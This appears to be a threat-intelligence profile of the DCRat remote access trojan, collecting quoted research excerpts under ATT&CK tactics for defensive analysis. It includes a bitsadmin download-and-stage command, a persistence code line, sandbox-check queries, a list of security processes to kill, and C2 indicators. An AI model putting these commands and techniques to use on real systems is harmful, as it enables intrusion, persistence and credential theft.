DcRAT
- Type
- RAT
- Capabilities
- Credential theftKeyloggingExfiltrationPersistencePost exploitationDefense evasionReconnaissanceProcess injectionDDOS
- Delivery
- PhishingSpearphishingLureSeo poisoning
- Platforms
- Windows
DCRat, also known as DarkCrystal RAT, is a commercial, modular .NET remote access trojan targeting Windows. First released in 2018, it is sold through underground cybercrime markets at low subscription prices, making it accessible to both experienced criminal groups and novice operators. Its ecosystem includes an administration utility for controlling infected endpoints and DCRat Studio for developing third-party plugins.
DCRat enables remote command execution, file and process management, screenshot capture, keylogging, system reconnaissance, credential theft, and distributed denial-of-service attacks. It can collect clipboard contents and information from web browsers and Telegram, and download additional plugins to extend its functionality. Its command-and-control communications use encrypted connections, with certificate pinning observed across the family. The administration component also contains a concealed kill switch capable of rendering the tool unusable.
Distribution includes phishing attachments, judicial and tax-themed lures, invoice impersonation, and counterfeit game downloads promoted through search-engine poisoning, gaming forums, social media, and torrent sites. Cobalt Strike Beacons and the Prometheus traffic direction system have also delivered DCRat. Deployment chains have used script-based staging, process injection, security-product checks, and persistent orchestration through startup mechanisms and scheduled tasks. DCRat is used by multiple operators, including Silver Fox, rather than being exclusive to one threat actor. Observed targeting includes Canadian organizations, Indian individuals and organizations, Latin American institutions, and users seeking unauthorized game downloads.
Associated vulnerabilities
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
13 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The final execution stage "decodes and reflectively loads AsyncRAT / DCRat-lineage .NET RAT directly in memory for keylogging, surveillance, and exfiltration."
Silver Fox ... [is] known for repeatedly using tax-related pretexts to distribute remote access trojans like ValleyRAT (aka Winos 4.0), DcRAT, and potentially Venom RAT via DLL sideloading techniques.
Silver Fox ... [is] known for repeatedly using tax-related pretexts to distribute remote access trojans like ValleyRAT (aka Winos 4.0), DcRAT, and potentially Venom RAT via DLL sideloading techniques.
ValleyRAT (познат и како Winos 4.0), DcRAT и потенцијално Venom RAT преку техники за странично вчитување на DLL
к доменам хак-группы обращались более 31 000 образцов вредоносов, включая Quasar RAT, AsyncRAT, DCRat, NanoCore, Remcos RAT и njRAT
+7 more in the app. View in Mallory
Techniques & procedures
122 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
7 techniques
Resource Development
"Cyber criminals are spending millions buying up expired domains to repurpose them for malware..." and "estimated to have invested more than $7 million in acquiring over 10,000 expired domains now used for ... malware distribution."
T1583.003 — Acquire Infrastructure: Virtual Private Server (Resource Development)
Resource Development Web Services: Cloudflare Tunnels T1583.006 1–6 Free Quick Tunnel, no account required
Attackers are buying expired domains to exploit their reputation, traffic and DNS history, using them for malware delivery, scams and C2 infrastructure.
T1587.001 — Develop Capabilities: Malware (Resource Development)
T1588.001 — Obtain Capabilities: Malware (Resource Development)
Malicious GTA6 ISO files were distributed through search engine optimization (SEO) poisoning, gaming forums, social media, and torrent sites.
Initial Access
9 techniques
Initial Access
Вкотре відмічаємо тенденцію до підвищення інтенсивності кібератак з використанням месенджерів та легітимних скомпрометованих облікових записів.
MITRE ATT&CK Mapping Tactic Technique ID Notes Lateral Movement Replication via Removable Media T1091 USB autorun spreading
MITRE ATT&CK AND TTP Mapping ID Tactic Technique T1189 Drive-by Compromise Adversaries may gain access to a system through a user visiting a website over the normal course of browsing.
Les méthodes d'accès initiales impliquent généralement ... l'exploitation des vulnérabilités pour compromettre les systèmes cibles.
Supply chain intrusions added another serious layer of risk. Actors targeted software update mechanisms, third-party tools, and IT service providers to plant backdoors where scrutiny is typically lower.
This DCRat campaign combines phishing with SVG attachment, DLL sideloading, and process hollowing to establish stealthy remote access while evading endpoint defenses.
“SVG files can carry executable content, giving attackers a way to hide phishing and malware delivery inside something that looks like an image.”
“Those lures pushed recipients to sites controlled by the operation.”
“The currently prevalent attack chain begins with emails sent from hundreds of compromised, aged accounts, delivered via SendGrid and Amazon Simple Email Service (SES). The emails include unique URLs for each target…”
Execution
18 techniques
Execution
Next, dcRAT opens a URL in Google Chrome to create a remote WMI connection, which the actors use to connect to the victim’s machine.
Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10
[The script] registers the scheduled task wupd_chk to execute every 30 minutes.
Once executed, get.js copies several campaign components... The JavaScript then launches g.bat... Systems that do not match these checks follow a PowerShell based execution path... [other systems] execute the 64-bit AS branch through w.py.
PowerShell stage 6: PowerShell decodes the final payload through AES-256-ECB, custom Base85 and GZIP
The JavaScript then launches g.bat with the arguments general x while suppressing the visible command window.
“A self-extracting archive launched VBScript and hidden PowerShell.”
The startup file changes the directory to %Userprofile%\Downloads\Support\Python312 and executes the Python scripts EAdate.py, FAScis.py, GXrop.py and HPUope.py
The retrieved WSH configuration references... get.js, which points to the JavaScript responsible for delivering the next stage.
The payload starts a legitimate process, “AddInProcess32.exe,” in a suspended state using CreateProcessInternalW. It then manipulates the thread’s registers with Wow64GetThreadContext and Wow64SetThreadContext, and injects its malicious code into the target process’s memory using WriteProcessMemory.
In most of the cases observed at the time of writing this article, PhantomVAI Loader injected the payload into the Microsoft Build Engine executable, MSBuild.exe.
IceXLoader is a commercial malware used to download and deploy additional malware on infected machines.
bitsadmin Download Path (Wave 2 — opposite-lodge) : LNK: cmd.exe /c bitsadmin /transfer job /priority FOREGROUND [tunnel]/dd.wsf %TEMP%\dd.wsf
A typical infection would consist of a malicious document, such as an RTF file exploiting CVE-2017-11882, a stack overflow vulnerability that enables arbitrary code execution on a vulnerable version of Microsoft Office.
In one incident, a fake CAPTCHA lure led to a PowerShell based loader carrying telltale signs of AI generation.
La propagation de DCRat se fait souvent par phishing ou ingénierie sociale... ou des fichiers malicieux téléchargés depuis Internet.
When opened, the shortcut does not launch a local PDF. Instead, it uses Windows WebDAV syntax to retrieve a remote get.wsh configuration file.
The core of this campaign lies in the abuse of a legitimate utility... The key vulnerability is that the design of ahost.exe is vulnerable to DLL side-loading or search order hijacking. An attacker can exploit this vulnerability by placing a malicious DLL, named libcares-2.dll, in the same directory as ahost.exe.
Persistence
11 techniques
Persistence
The INSTALL() function writes a bare minimum bit of code to disk to execute this downloaded code in the future... WriteAllText((GetFolderPath(7) + "\" + "MicroSoftOutlookLauncher.vbs"), $VBSRun.Replace("%FilePath%", $PSCommandPath))
Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10
[The script] registers the scheduled task wupd_chk to execute every 30 minutes.
Вкотре відмічаємо тенденцію до підвищення інтенсивності кібератак з використанням месенджерів та легітимних скомпрометованих облікових записів.
DCRAT... can... change registry settings.
bitsadmin Download Path (Wave 2 — opposite-lodge) : LNK: cmd.exe /c bitsadmin /transfer job /priority FOREGROUND [tunnel]/dd.wsf %TEMP%\dd.wsf
the threat context is reconfigured ... At last, the RunPE payload simply resumes the thread and the final RAT payload is executed in the remote process "AppLaunch.exe" injected via process hollowing.
establishes persistence by creating a Windows service named MixedSvc, configured to start automatically on system boot
Opens "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon , retrieve the value of Shell registry, then append the "path/to/sample/fullsamplename". Shell registry determines which program is used as the system shell when a user logs into Windows.
The script copies itself to %LOCALAPPDATA%\Microsoft\WindowsUpdate\wupd.bat, writes wupd_h.vbs as a hidden launcher, [and] creates a Startup folder entry.
which was launched by an LNK in a startup folder so the execution started on each system boot
Privilege Escalation
19 techniques
Privilege Escalation
The INSTALL() function writes a bare minimum bit of code to disk to execute this downloaded code in the future... WriteAllText((GetFolderPath(7) + "\" + "MicroSoftOutlookLauncher.vbs"), $VBSRun.Replace("%FilePath%", $PSCommandPath))
Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10
[The script] registers the scheduled task wupd_chk to execute every 30 minutes.
The final chunk of code is responsible for calling the RunPE injection code, telling it to spawn regsvcs.exe , and inject the final payload $Bytes into the memory space of regsvcs.exe.
The payload Dark Crystal RAT (DCRAT) sample that we analyzed in this campaign is a modular RAT associated with plugins to perform the DLL injection and information stealing tasks.
Trellix EDR Wrote PE header into remote process (PE file DOS header)(T1106 T1055.002 T1620)
Injection technique: create a suspended notepad.exe , allocate RWX memory, write shellcode via WriteProcessMemory , queue an APC, resume the thread... Instead of notepad.exe, the loaders now create a suspended explorer.exe and use Early Bird APC injection
Remote process section unmap, possible Process Injection(T1106 T1055.011 T1055.012)
Finally, ResumeThread restarts the process, which now runs the attacker’s code while appearing to be a normal Windows executable.
checking the current privileges to try to escalate them, attempting to run with the highest privileges possible
Вкотре відмічаємо тенденцію до підвищення інтенсивності кібератак з використанням месенджерів та легітимних скомпрометованих облікових записів.
Impersonation T1134.001, Token Impersonation/Theft Session tokens
the threat context is reconfigured ... At last, the RunPE payload simply resumes the thread and the final RAT payload is executed in the remote process "AppLaunch.exe" injected via process hollowing.
establishes persistence by creating a Windows service named MixedSvc, configured to start automatically on system boot
Opens "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon , retrieve the value of Shell registry, then append the "path/to/sample/fullsamplename". Shell registry determines which program is used as the system shell when a user logs into Windows.
The script copies itself to %LOCALAPPDATA%\Microsoft\WindowsUpdate\wupd.bat, writes wupd_h.vbs as a hidden launcher, [and] creates a Startup folder entry.
which was launched by an LNK in a startup folder so the execution started on each system boot
SeDebugPrivilege ... SeTcbPrivilege
This payload ensures it's running with administrative privileges, and if not, triggers a User Account Control (UAC) prompt to get the user to run it with elevated permissions.
Stealth
32 techniques
Stealth
The excerpts show character tables, conversion functions, fragmented strings and routines that reconstruct data before using it.
MITRE ATT&CK Mapping Tactic Technique ID Notes Defense Evasion Software Packing T1027.002 ConfuserEx + SmartAssembly dual packing
The code chains led us to a double download, one of which used steganography (so it was embedded in an image)
“A Blob can reassemble an archive in browser memory and hand it to the user as a download. It’s either the same smuggling technique long seen in HTML attachments, carried in something that presents as an image.”
the obfuscated code start by decrypting the initial API it needs ... Then it will resolve all the API
The nature of malware communications with its C&C server(s) has advanced over time, from using plain non-encrypted channels to using custom and standard symmetric ... and asymmetric ... encryption algorithms and protocols (SSL/TLS) to hinder network inspection of such malicious traffic.
Numerous executables and scripts are written to %TEMP%, several using filenames intended to resemble legitimate GTA, Rockstar Games, Steam, or Windows components.
Defense Evasion Masquerading: Legitimate Name T1036.005 1–6 Edge icon on LNK, wdigest.dll naming
Defense Evasion Masquerading: Double Extension T1036.007 1–6 .pdf.lnk, .pdf.wsh, .PDF.lnk
The final chunk of code is responsible for calling the RunPE injection code, telling it to spawn regsvcs.exe , and inject the final payload $Bytes into the memory space of regsvcs.exe.
The payload Dark Crystal RAT (DCRAT) sample that we analyzed in this campaign is a modular RAT associated with plugins to perform the DLL injection and information stealing tasks.
Trellix EDR Wrote PE header into remote process (PE file DOS header)(T1106 T1055.002 T1620)
Injection technique: create a suspended notepad.exe , allocate RWX memory, write shellcode via WriteProcessMemory , queue an APC, resume the thread... Instead of notepad.exe, the loaders now create a suspended explorer.exe and use Early Bird APC injection
Remote process section unmap, possible Process Injection(T1106 T1055.011 T1055.012)
Finally, ResumeThread restarts the process, which now runs the attacker’s code while appearing to be a normal Windows executable.
terminate any process that matches a list of predetermined names. Taskmgr.exe ProcessHacker.exe procexp.exe MSASCui.exe MsMpEng.exe
The chunk of code above writes a timeout and deletion command to a Batch script file and then executes it. This is usually a self-deletion measure for RATs and stealers.
I like taking a look at metadata because, even though it’s easily changed, adversaries often forget to change the metadata on malware right after they build it.
Вкотре відмічаємо тенденцію до підвищення інтенсивності кібератак з використанням месенджерів та легітимних скомпрометованих облікових записів.
In most of the cases observed at the time of writing this article, PhantomVAI Loader injected the payload into the Microsoft Build Engine executable, MSBuild.exe.
Impersonation T1134.001, Token Impersonation/Theft Session tokens
Multilayer decoding T1140, Deobfuscate/Decode Files or Information AES, Base85 and GZIP
bitsadmin Download Path (Wave 2 — opposite-lodge) : LNK: cmd.exe /c bitsadmin /transfer job /priority FOREGROUND [tunnel]/dd.wsf %TEMP%\dd.wsf
“[The chain] then reached InstallUtil.exe, a signed Windows utility that can be abused to run malicious code.”
Defense Evasion System Binary Proxy Execution: Wscript T1218.005 1–4, 6 wscript.exe WSH/WSF execution
This executable attempts to determine whether it is working on a virtual machine
SELECT * FROM Win32_ComputerSystem ... Manufacturer ... VMWare ... Xen ... innotek GmbH ... QEMU ... Model ... VirtualBox ... HVM domU ... SELECT * FROM Win32_BIOS ... SerialNumber
Virtualization/Sandbox Evasion: Time Based Checks - T1497.003 The STRT identified an interesting TTP associated with DarkCrystal RAT, the use of “W32tm” command with the “stripchart” parameter as an execution‑delay mechanism for both runtime and beaconing activities.
[Stage 3: Batch Downloader] - Hides payload directories with attrib +h
The core of this campaign lies in the abuse of a legitimate utility... The key vulnerability is that the design of ahost.exe is vulnerable to DLL side-loading or search order hijacking. An attacker can exploit this vulnerability by placing a malicious DLL, named libcares-2.dll, in the same directory as ahost.exe.
loads the native x64 RAT in memory through Reflection and delegates, without relying on a final file persisted to disk
To ensure that only one instance of the malware is executed, a Mutex is created.
Defense Impairment
5 techniques
Defense Impairment
DCRAT... can... change registry settings.
MITRE ATT&CK AND TTP Mapping ID Tactic Technique T1222 File Directory Permissions Modification Change directory permission to hide its file
Also I notice that this executable contains a stolen or fake digital certificate.
It changes the Windows hosts file to block selected telemetry and security-reporting services, a tactic that may reduce the chance of the infection being noticed or reported.
The executable rockstargames.exe also modifies the Windows hosts file to sinkhole several telemetry and residential antivirus-reporting services.
Credential Access
5 techniques
Credential Access
MITRE ATT&CK AND TTP Mapping ID Tactic Technique T1056 Keylogging Keylog of infected machine
a keylogger based on the active layout through GetKeyboardLayout and ToUnicodeEx
dcRAT also downloads malicious cookies and tries to use them to authenticate itself with the victim’s Google account.
MITRE ATT&CK AND TTP Mapping ID Tactic Technique T1555 Credentials from password store Steal stored password
The RATs can... steal browser credentials and cryptocurrency wallet details. Mercurial Grabber [harvests] Chrome-saved passwords and cookies.
Discovery
13 techniques
Discovery
DCRAT also provides ... window tracking.
The IdSender.SendInfo() routine collects a wide range of host information, including the victim’s hardware identifier (HWID), username...
g.bat enumerates running processes and checks for products associated with ESET, Kaspersky, AVG, Avira, and Avast.
begin collecting information about the victim’s computer to send to the C2 server.
MITRE ATT&CK AND TTP Mapping ID Tactic Technique T1083 File and Directory Discovery Upload file from the victim machine
The malware will try to enumerate number of available screens and their device names... The code will retrieve info about the camera devices on the system... The malware will retrieve info about the audio input devices using the Windows Multimedia API (winmm.dll).
The following analytic identifies the use of the w32tm.exe utility with the /stripchart function, which is indicative of DCRat malware delaying its payload execution.
This executable attempts to determine whether it is working on a virtual machine
SELECT * FROM Win32_ComputerSystem ... Manufacturer ... VMWare ... Xen ... innotek GmbH ... QEMU ... Model ... VirtualBox ... HVM domU ... SELECT * FROM Win32_BIOS ... SerialNumber
Virtualization/Sandbox Evasion: Time Based Checks - T1497.003 The STRT identified an interesting TTP associated with DarkCrystal RAT, the use of “W32tm” command with the “stripchart” parameter as an execution‑delay mechanism for both runtime and beaconing activities.
scan all running processes on the system and terminate any process that matches a list of predetermined names
g.bat enumerates running processes and checks for products associated with ESET, Kaspersky, AVG, Avira, and Avast.
To ensure that only one instance of the malware is executed, a Mutex is created.
Lateral Movement
1 technique
Lateral Movement
MITRE ATT&CK Mapping Tactic Technique ID Notes Lateral Movement Replication via Removable Media T1091 USB autorun spreading
Collection
9 techniques
Collection
Local documents T1005, Data from Local System Judicial and tax files
MITRE ATT&CK Mapping Tactic Technique ID Notes Collection Data from Removable Media T1025 USB media data access
MITRE ATT&CK AND TTP Mapping ID Tactic Technique T1056 Keylogging Keylog of infected machine
a keylogger based on the active layout through GetKeyboardLayout and ToUnicodeEx
Screen capture T1113, Screen Capture d3d11 capture
DCRAT provides capabilities including screenshot capture, mouse control, audio-device discovery, window tracking, clipboard access, and registry read/write functionality.
DCRAT provides capabilities including screenshot capture, mouse control, audio-device discovery, window tracking, and clipboard access.
Video streaming T1125, Video Capture MFPlat pipeline
The link points to a legitimate file-sharing service where a password-protected archive awaits, the password for which is also in the video description.
Command and Control
21 techniques
Command and Control
used the h_addr_list to decrypt the code that will decompress the DCloader and its .DLL component
The operator configured all 11 as failover addresses across 4 ports (443, 80, 25, 8443), giving the RAT 44 potential C2 endpoints to cycle through before giving up.
NJRAT communicates with AWS-hosted IP addresses and the ngrok tunneling endpoint 7.tcp.eu.ngrok[.]io:12684; DCRAT communicates with a0700877.xsph[.]ru.
After configuring buffer sizes and creating a TCP socket, it chooses the server’s host and port either by retrieving them from a Pastebin link or by selecting at random from a list of predefined values.
Suspicious DNS Query (Commonly Abused Web Services) by AddInProcess32.exe (T1071.004 T1568)
Proxy: External Proxy T1090.002 Cloudflare tunnel for staging
The remote endpoint resolves to 223.26.63.40:2671 , which is the active command-and-control (C2) server at the time of execution.
“Related samples contacted code repositories and cloud storage” and “The operation can move files between familiar services.”
Web Service: Dead Drop Resolver T1102.001 DcRat Pastebin backup C2
“…attack chain employs… multi-stage payloads… downloads an obfuscated VBS… executes… PowerShell… retrieves… another link… then… image… to deliver and execute the final payload.”
Stage delivery T1105, Ingress Tool Transfer Component chaining
“…it creates a mutex with the mutex name… (DcRatMutex_qwqdanchun)”
Useful starting points are MITRE ATT&CK techniques for remote access software (T1219)
connects to “ hxxps[://]pastebin[.]com/raw/gdYYU7gi ” to retrieve the C2 address
MITRE ATT&CK Mapping Technique ID Implementation ... Dynamic Resolution: DNS T1568.002 DuckDNS dynamic DNS for all C2
MITRE ATT&CK Mapping Technique ID Implementation ... Non-Standard Port T1571 C2 on ports 2120, 6745, 6757, 7878, 8292
C2 Protocol Tunneling T1572 1–6 Cloudflare tunnel for origin obfuscation
The final DCRat payload uses encrypted communication, anti-analysis checks, persistence controls, and repeated connection attempts to its command-and-control infrastructure.
Encrypted channel T1573.001, Symmetric Cryptography C2 and exfiltration
MITRE ATT&CK Mapping Technique ID Implementation ... Encrypted Channel: Asymmetric Crypto T1573.002 AsyncRAT TLS with self-signed RSA-4096
All tunnels use Cloudflare's free Quick Tunnel service ( trycloudflare.com ). The origin server IP is never exposed — all traffic proxies through Cloudflare's anycast network
Exfiltration
1 technique
Exfiltration
Exfiltration T1041, Exfiltration Over C2 Channel RAT channel output
Impact
3 techniques
Impact
DcRat features a ransomware plugin capable of encrypting files on the victim’s system.
The malware has the ability to perform a Denial of Service DoS attack using victim’s computer... create a TCP connection with the targeted remote host or IP address... send a simple POST request... setting up a Socket for UDP flood attack... sending TCP packets to the remote host instead of UDP packets.
T1529 - System Shutdown/Reboot Description from ATT&CK Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.
Observables
498 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.